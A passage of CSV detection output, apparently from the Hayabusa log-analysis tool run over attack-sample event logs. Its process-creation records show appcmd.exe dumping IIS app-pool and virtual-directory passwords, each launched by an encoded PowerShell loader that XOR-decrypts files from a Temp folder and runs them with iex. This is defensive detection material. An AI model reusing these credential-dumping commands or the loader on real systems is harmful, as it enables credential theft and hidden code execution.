ABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.522 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.662 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool "". )"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.742 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool "". )"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.822 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:vdir.name : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.893 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""ERROR ( message:Configuration error "" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.973 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""ERROR ( message:Configuration error "" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkA